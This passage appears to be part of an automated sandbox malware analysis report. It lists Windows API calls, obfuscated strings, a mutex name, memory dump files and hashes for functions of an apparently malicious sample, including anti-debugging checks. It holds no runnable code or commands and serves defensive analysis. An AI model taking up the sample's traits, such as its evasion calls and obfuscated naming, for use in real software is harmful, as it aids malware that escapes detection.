GetThreadContext.KERNEL32(00000000,00000000), ref: 00409A8E
OpenMutexW.KERNEL32(00000000,00000000,jurayisotixaruyexarule), ref: 00409A97
WriteConsoleW.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00409ABE
DebugBreak.KERNEL32 ref: 00409AC4
LoadLibraryA.KERNEL32(ludiwesexexayonex), ref: 00409ACF
lstrlenA.KERNEL32(00000000), ref: 00409AD6
EnumResourceTypesW.KERNEL32(00000000,00000000,00000000), ref: 00409ADF
FlushConsoleInputBuffer.KERNEL32(00000000), ref: 00409AE6
SetThreadAffinityMask.KERNEL32(00000000,00000000), ref: 00409AEE
SetEvent.KERNEL32(00000000), ref: 00409AF5
OutputDebugStringW.KERNEL32(00000000), ref: 00409AFC
ReadConsoleInputW.KERNEL32(00000000,?,00000000,?), ref: 00409B0E
GetPrivateProfileIntW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00409B18
CreateActCtxA.KERNEL32(?), ref: 00409B23
GetPrivateProfileStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00409B2F
GetOEMCP.KERNEL32 ref: 00409B35
CopyFileA.KERNEL32(00000000,00000000,00000000), ref: 00409B3E
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00409B4A
WaitForDebugEvent.KERNEL32(00000000,00000000), ref: 00409B52
SetConsoleScreenBufferSize.KERNEL32(00000000,00000001), ref: 00409B6C
GetConsoleAliasExesLengthA.KERNEL32 ref: 00409B72

Strings

jjjjjjj, xrefs: 004097D9
Vefu mif kaxigija puhirege puwuf, xrefs: 004098B2
Hagavete buyihexinag remibumepupabo gojokekisila, xrefs: 004098B7
nahipumoraxeyur, xrefs: 0040992E
}j, xrefs: 0040986C
2HB, xrefs: 004099EB
jjj, xrefs: 00409915
tusidisipilujawudimu, xrefs: 00409963
lulecaxitejewutubenopevinemezimevoxiv, xrefs: 00409929
jjjj, xrefs: 00409980
jjj, xrefs: 00409923
Regefiri, xrefs: 004098BC
jurayisotixaruyexarule, xrefs: 00409A90
vomejuxozuvisuweviw, xrefs: 0040976D
jjj, xrefs: 0040996E
ludiwesexexayonex, xrefs: 00409ACA
jjjj, xrefs: 0040977E
jjj, xrefs: 00409951
jjjjj, xrefs: 0040999C
segokehap, xrefs: 004098A7
jjj, xrefs: 0040980C

Memory Dump Source

Source File: 00000000.00000002.2035194646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2035174984.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035227928.0000000000428000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004E1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035390433.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035418504.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035449545.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Similarity

API ID: Console$File$DebugOpenWrite$AliasCreateExesInputLengthOutputProfileStringThread$BreakBufferCharacterCommEnumEnvironmentErrorEventFreeLastMoveMutexNamePrivateProcessSizeStateStringsSystem$AdjustmentAffinityAliasesAllocAtomBinaryBoostBuildCharCompletionComputerContextConvertCopyCriticalDeleteDepthExchangeFiberFillFindFlushFormatGlobalHandleInterlockedLibraryListLoadLocalesLockMailslotMappingMaskMountNamedNextNumberParametersPipePointPortPriorityProgressQueryReadResourceScreenSectionShutdownTimeTimeoutsTimerTypeTypesUpperVolumeWaitWaitableWith__errno__invalid_parameter__wrename_doexit_putclstrlen
String ID: 2HB$Hagavete buyihexinag remibumepupabo gojokekisila$Regefiri$Vefu mif kaxigija puhirege puwuf$jjj$jjj$jjj$jjj$jjj$jjjj$jjjj$jjjjj$jjjjjjj$jurayisotixaruyexarule$ludiwesexexayonex$lulecaxitejewutubenopevinemezimevoxiv$nahipumoraxeyur$segokehap$tusidisipilujawudimu$vomejuxozuvisuweviw$}j
API String ID: 1521116737-3146284594
Opcode ID: c54270a0fe907e660ec7c004cb20f2e35dec57653e3b772ff1d1c721849b737d
Instruction ID: 7ab5dfe004330acf6350e04f9f27fd95b7e502bd3d5cff5271d03b522fb5e06a
Opcode Fuzzy Hash: c54270a0fe907e660ec7c004cb20f2e35dec57653e3b772ff1d1c721849b737d
Instruction Fuzzy Hash: 89C18131544344AFE314AFA0EE49F5A77A8EB8C705F00443EF746BA2F1D67468408B6E

Function 004090A0 Relevance: 22.6, APIs: 15, Instructions: 121filetimeCOMMON

Download Yara Rule

APIs

VerLanguageNameW.KERNEL32(00000000,?,00000000), ref: 004090BE
SetDefaultCommConfigW.KERNEL32(00000000,00000000,00000000), ref: 004090C9
ReadConsoleOutputCharacterA.KERNEL32(00000000,?,00000000,?,?), ref: 004090F2
BuildCommDCBW.KERNEL32(00000000,?), ref: 00409145
CopyFileExW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00409157
GetCompressedFileSizeA.KERNEL32(00000000,?), ref: 00409164
FindNextFileW.KERNEL32(00000000,?,00000000,7591DFA0,75932F80,75923B10), ref: 00409180
SetEvent.KERNEL32(00000000), ref: 00409188
FreeResource.KERNEL32(00000000,00000000,7591DFA0,75932F80,75923B10), ref: 00409199
VerifyVersionInfoA.KERNEL32(?,00000000,00000000,00000000), ref: 004091A9
GetVersionExA.KERNEL32(?), ref: 004091B0
SetLastError.KERNEL32(00000000), ref: 004091B4
TerminateProcess.KERNEL32(00000000,00000000), ref: 004091BA
CreateTimerQueueTimer.KERNEL32 ref: 004091D9
FillConsoleOutputCharacterA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,00000000,7591DFA0,75932F80,75923B10), ref: 00409218

Memory Dump Source

Source File: 00000000.00000002.2035194646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2035174984.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035227928.0000000000428000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004E1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035390433.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035418504.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035449545.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Similarity

API ID: File$CharacterCommConsoleOutputTimerVersion$BuildCompressedConfigCopyCreateDefaultErrorEventFillFindFreeInfoLanguageLastNameNextProcessQueueReadResourceSizeTerminateVerify
String ID:
API String ID: 2545875003-0
Opcode ID: 91fac76997a28af402c6efb90505462ea1033a53df46856a7a672f86f5e9e998
Instruction ID: 79e150a8457d5e402aa317c7751d591cdc271365645afbd107d440667da87ae9
Opcode Fuzzy Hash: 91fac76997a28af402c6efb90505462ea1033a53df46856a7a672f86f5e9e998
Instruction Fuzzy Hash: 1A414271148340ABE320DFA0DD45FAB77F8FB98701F00882EF689A65E1D7749944CB6A

Function 022EF030 Relevance: 19.9, APIs: 10, Strings: 1, Instructions: 696COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 022EF0A7
_wcsstr.LIBCMT ref: 022EF14E
_strstr.LIBCMT ref: 022EF3D6
_malloc.LIBCMT ref: 022EF526
_memset.LIBCMT ref: 022EF534
_strstr.LIBCMT ref: 022EF57A
_malloc.LIBCMT ref: 022EF6F5
_memset.LIBCMT ref: 022EF703
_free.LIBCMT ref: 022EF7B5
_free.LIBCMT ref: 022EF7C2

Strings

", xrefs: 022EF640

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _memset$_free_malloc_strstr$_wcsstr
String ID: "
API String ID: 430003804-123907689
Opcode ID: 1cdb3d0636dac09cc2f24788c7c1d72f8c986b6e2997366a203cf509162b2016
Instruction ID: 798a1b8046a78c025dc320b653869280b454072e5c481b7b320aaf740446e400
Opcode Fuzzy Hash: 1cdb3d0636dac09cc2f24788c7c1d72f8c986b6e2997366a203cf509162b2016
Instruction Fuzzy Hash: 98420771518381ABDB20DFA4CC48F9BBBE8BF85304F84052DF58A97195DB74D609CBA2

Function 022E00D0 Relevance: 9.7, APIs: 6, Instructions: 732COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23169db7a410551c83385ddf708b4d7ef8baad74fa6175bf0d512237d1225d66
Instruction ID: 5eea9df06f639ec324a0b235aa5f71a416fbf23de9e4f6bac10fe40a7136ef7c
Opcode Fuzzy Hash: 23169db7a410551c83385ddf708b4d7ef8baad74fa6175bf0d512237d1225d66
Instruction Fuzzy Hash: 1C528D70D20209DBDF10DFE4C884BDEB7B5AF14308F904169D41AB7258E7B5AA49DFA1

Function 022DE6E0 Relevance: 8.2, APIs: 5, Instructions: 735COMMON

Download Yara Rule

APIs

_wcsstr.LIBCMT ref: 022DE72D
_wcsstr.LIBCMT ref: 022DE756
_memset.LIBCMT ref: 022DE784

Part of subcall function 0231FC0C: std::exception::exception.LIBCMT ref: 0231FC1F
Part of subcall function 0231FC0C: __CxxThrowException@8.LIBCMT ref: 0231FC34
Part of subcall function 0231FC0C: std::exception::exception.LIBCMT ref: 0231FC4D
Part of subcall function 0231FC0C: __CxxThrowException@8.LIBCMT ref: 0231FC62
Part of subcall function 0231FC0C: std::regex_error::regex_error.LIBCPMT ref: 0231FC74
Part of subcall function 0231FC0C: __CxxThrowException@8.LIBCMT ref: 0231FC82
Part of subcall function 0231FC0C: std::exception::exception.LIBCMT ref: 0231FC9B
Part of subcall function 0231FC0C: __CxxThrowException@8.LIBCMT ref: 0231FCB0

_wcsstr.LIBCMT ref: 022DEA0C
_memset.LIBCMT ref: 022DEE5C

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_wcsstrstd::exception::exception$_memset$std::regex_error::regex_error
String ID:
API String ID: 1338678108-0
Opcode ID: b5098284881af2f016dff51b4d469be074dfe0eb5f9feb8c37e34c07e0411b24
Instruction ID: 6ea9dceac50b84016a02f1c28b1ee982872dea11549842da37a9ae2b493ce7b7
Opcode Fuzzy Hash: b5098284881af2f016dff51b4d469be074dfe0eb5f9feb8c37e34c07e0411b24
Instruction Fuzzy Hash: 8752EE71A103098FCF24DFA8C884BAEBBF5BF05304F154569E84AAF285D771A945CF91

Function 00414DC0 Relevance: 7.6, APIs: 5, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0041AF5D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0041AF74
UnhandledExceptionFilter.KERNEL32(00406C98), ref: 0041AF7F
GetCurrentProcess.KERNEL32(C0000409), ref: 0041AF9D
TerminateProcess.KERNEL32(00000000), ref: 0041AFA4

Memory Dump Source

Source File: 00000000.00000002.2035194646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2035174984.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035227928.0000000000428000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004E1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035390433.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035418504.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035449545.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 4561b2dd899bb1538a0cfcd0db871d7eac45277b282349204ce2c114e46248c0
Instruction ID: 7dc04e8741c6f26a167ffcee07c71d6fc9f61bfb7358a80d33a0f04a6bb012ac
Opcode Fuzzy Hash: 4561b2dd899bb1538a0cfcd0db871d7eac45277b282349204ce2c114e46248c0
Instruction Fuzzy Hash: D921E2B88C12849FC700DF99E9C46983BA0BB48314F6045BAE909DB372EB745990CF4E

Function 022E0B00 Relevance: 6.7, APIs: 4, Instructions: 660COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37c666b43537968137d919f050b0984878a90477fb183cf48e642191e4cf2ccd
Instruction ID: ea15c43d838085bd321e5cf80ebeb1533ad127d6db598c0c9ee9772f10dc5498
Opcode Fuzzy Hash: 37c666b43537968137d919f050b0984878a90477fb183cf48e642191e4cf2ccd
Instruction Fuzzy Hash: EB429C70D20208DBDF14DFE4C844BEEB7B5BF05308FA44169D81AA7294EB71AA55CFA1

Function 022DDBE0 Relevance: 5.2, APIs: 3, Instructions: 702COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction ID: a1d17d57f633813ed301597e53e3865b23584cc7ae830065e06dfb3f96bd0240
Opcode Fuzzy Hash: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction Fuzzy Hash: 75528071E10249DFDB50DFE4C898FAEBBB5BF49304F148198E509AB294DB70AD45CBA0

Function 023522C0 Relevance: 1.8, Strings: 1, Instructions: 587COMMON

Download Yara Rule

Strings

$, xrefs: 0235291E

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: 1cca9afa04801860d959689bc8690a28a22b5c0188d9fdbf1e0bc31c4e8f15f0
Instruction ID: 296dec26fdf12e356f90c139e213295881d649745cf22e4b6d5dcf586cb30d77
Opcode Fuzzy Hash: 1cca9afa04801860d959689bc8690a28a22b5c0188d9fdbf1e0bc31c4e8f15f0
Instruction Fuzzy Hash: 10324EB0E0062D9ADF619F64CC44BAFB7B9FF44704F0041EAEA0CA6191DB748A84CF59

Function 00411290 Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00011220), ref: 0041129A

Memory Dump Source

Source File: 00000000.00000002.2035194646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2035174984.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035227928.0000000000428000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004E1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035390433.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035418504.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035449545.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: b9ef1ab9f8a38fabe22fd6ec17323452cad31a628297652e836c33a909222b24
Instruction ID: e4f0e4c04d8d2b7b41a24f4f26a98b41cbcf2c1828ab2def10eac5943267a253
Opcode Fuzzy Hash: b9ef1ab9f8a38fabe22fd6ec17323452cad31a628297652e836c33a909222b24
Instruction Fuzzy Hash: 77B0123118424827520063E27D09A463F8DC5D576035104A1F10CE1020D9759400406E

Function 006A30A3 Relevance: 1.3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

Strings

50j, xrefs: 006A30A9

Memory Dump Source

Source File: 00000000.00000002.2035582084.00000000006A3000.00000040.00000020.00020000.00000000.sdmp, Offset: 006A3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a3000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID:
String ID: 50j
API String ID: 0-2948612316
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: a595b465153fe5e71ed4b387b536d1186af09051802e6963dd39e812010bd5ff
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 25118272340110AFD754DF55DC81FA673EAEB8A360B2980A9FD08CB312D675ED42CB60

Function 022D5DF7 Relevance: .7, Instructions: 723COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 877f63b2793ebbe0b59198544446deee2a7ddffc7aca60e89c3a6b5019f50021
Instruction ID: bdbce8c5231deff1ea9059a8fc113880af30fcbbae6b3cfb41365d616c1d3d50
Opcode Fuzzy Hash: 877f63b2793ebbe0b59198544446deee2a7ddffc7aca60e89c3a6b5019f50021
Instruction Fuzzy Hash: D242C071629F118BC3DAEF24C88055BF3E1FFC8218F048A1DD99997A54DB38F819CA91

Function 022DA026 Relevance: .5, Instructions: 478COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5f2568764100725235c6401e73ec7c3249674854c723175d34cd2e4a517ce8f
Instruction ID: 746768db049362d0273fc96d575057fefeb6f46c8c484f1e7508ac48802d7824
Opcode Fuzzy Hash: e5f2568764100725235c6401e73ec7c3249674854c723175d34cd2e4a517ce8f
Instruction Fuzzy Hash: 4E22DF76914B028FC714CF19D080A5AF7E1FF88324F558A6EE8A9A7B14C730BA55CF81

Function 022D2B60 Relevance: .4, Instructions: 443COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91ba71904dea84e20fa54172000c9738ff60065219db22b0a49b9952a31d8242
Instruction ID: 05d082330c416e67c06a532964af8df8e1104b9eb0c871c855bdc4d54a32604c
Opcode Fuzzy Hash: 91ba71904dea84e20fa54172000c9738ff60065219db22b0a49b9952a31d8242
Instruction Fuzzy Hash: CDF1B571344B058FC758DE5DDDA1B16F7E5AB88318F19C728919ACBB64E378F8068B80

Function 022D3520 Relevance: .4, Instructions: 427COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbc65900fc73bc000bc8580b4acecc80d5647e222a799f60cb590115ce9fd550
Instruction ID: 8282b7851297ed68e6c52fe60cc7528e1476cc9909c485e7ba9d94dadcd0a202
Opcode Fuzzy Hash: fbc65900fc73bc000bc8580b4acecc80d5647e222a799f60cb590115ce9fd550
Instruction Fuzzy Hash: 13026A711187058FC756EF5CD49035AF3E2FFC8309F198A2CD68987A64E739A9198F82

Function 022D89D0 Relevance: .4, Instructions: 351COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a5954790e41dc4624a9d46858f3452b98d53d0cd8c243c9cc9c775596d105f9
Instruction ID: 5378db2cc7156400f19017df56a5dad4814400c8d9ef7813ea242d87d788e4a7
Opcode Fuzzy Hash: 0a5954790e41dc4624a9d46858f3452b98d53d0cd8c243c9cc9c775596d105f9
Instruction Fuzzy Hash: E4C12833E2477906D764DEAE8C500AAB6E3AFC4220F9B477DDDD4A7242C9306D4A86C0

Function 022DB0B0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 260573a8829919281ce9b140437ef2de714630fc7763413699c1452f37438119
Instruction ID: 6ca9ec6ebbb1117f224897ce801f89ff7a95774023a605ed4ebe3f2458befd90
Opcode Fuzzy Hash: 260573a8829919281ce9b140437ef2de714630fc7763413699c1452f37438119
Instruction Fuzzy Hash: 4CA1EA0A8090E4ABEF455A7E90B63FBAFE9CB27354E76719284D85B793C019120FDF50

Function 022D30F0 Relevance: .3, Instructions: 336COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f27a0b4d4ac2ce6bc1e4b63d0c78f0f0db76eb82bb00af9427607acde08c7a9f
Instruction ID: 47aeaaac46cadc797a226e4c34e547b17c64e59c69488b17d9ed8be6dbaff1af
Opcode Fuzzy Hash: f27a0b4d4ac2ce6bc1e4b63d0c78f0f0db76eb82bb00af9427607acde08c7a9f
Instruction Fuzzy Hash: 3DB14D72700B164BD728EEA9DC91796B3E3AB84326F8EC73C9046C6F55F2BCA4454680

Function 022DCA10 Relevance: .3, Instructions: 280COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction ID: fb75f252d8b7270a4a218e5ddd3f7a7a082ba5608208a226df80fc11cd4e475b
Opcode Fuzzy Hash: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction Fuzzy Hash: 4FC18CB5E003599FCB54CFA9C881ADEFBF1FF48204F24856AE919E7301E334AA558B54

Function 022D5DE7 Relevance: .3, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9479a41546b8b9daa844b3f0f9bcf180ed8e63d922313bf96b91a02671daf30e
Instruction ID: 7666c682af0b6627a1fcccf5e2376288155df8d34c0d156e1ca6b54ba9b0444b
Opcode Fuzzy Hash: 9479a41546b8b9daa844b3f0f9bcf180ed8e63d922313bf96b91a02671daf30e
Instruction Fuzzy Hash: 77B183B0039FA686CBD3FF30911024BF7E0BFC525DF44194AD99986864EB3EE94E9215

Function 022D7520 Relevance: .3, Instructions: 251COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a087d59a956fa7918cd600c7f095cfaed33154cdf998442540aba7f69786321b
Instruction ID: 479b7cb24a4be2fde14de9df4792d9939e7767ce7eb16e718b4fe0aba5743be9
Opcode Fuzzy Hash: a087d59a956fa7918cd600c7f095cfaed33154cdf998442540aba7f69786321b
Instruction Fuzzy Hash: 649114739187BA06D7609EAE8C441B9B6E3AFC4210F9B077ADD9467282C9309E0697D0

Function 022DC760 Relevance: .2, Instructions: 239COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61293238dc523bda29a07f89e573218fa02bdd4a3ea5a0101b4e634da50cabe3
Instruction ID: 40aa681355f760a10e6a3fff08261586c121bb19329d75dd613ce19abcf2903e
Opcode Fuzzy Hash: 61293238dc523bda29a07f89e573218fa02bdd4a3ea5a0101b4e634da50cabe3
Instruction Fuzzy Hash: AAB17AB5E002199FCB84CFE9C885ADEFBF0FF48210F64816AD919E7301E334AA558B54

Function 022DA916 Relevance: .2, Instructions: 227COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
